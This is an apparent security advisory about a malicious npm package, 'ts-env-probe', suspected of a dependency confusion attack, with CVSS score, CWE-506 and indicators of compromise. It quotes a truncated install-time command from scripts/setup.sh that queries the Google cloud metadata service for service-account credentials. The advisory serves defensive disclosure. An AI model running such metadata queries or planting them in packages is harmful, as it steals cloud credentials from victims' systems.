GCVE-110-OSM-2026-2056

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published April 12, 2026

Suspected dependency confusion attack. Behaviors: network activity, install-time execution. Payload: scripts/setup.sh Key findings: - Download and Execute in scripts/setup.sh: "curl -s -H "Metadata-Flavor: Google" \ "$MDURL/instance/service-accounts/defau..." - Very New NPM Publisher Account IOCs: - urls: https://$H$EP, http://metadata.google.internal/computeMetadata/v1, http://169.254.169.254&format=full - domains: aaronstack.com, pwn.sh, kubernetes.io, $h$ep, metadata.google.internal - payloadFileHash: fa2d80b781d5c51c6a91f3607083a7c9c7b0cee310d52003d4aa54d488278807

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	ts-env-probe	* (affected)	—

References

Malicious npm package: ts-env-probe

advisory

vendor

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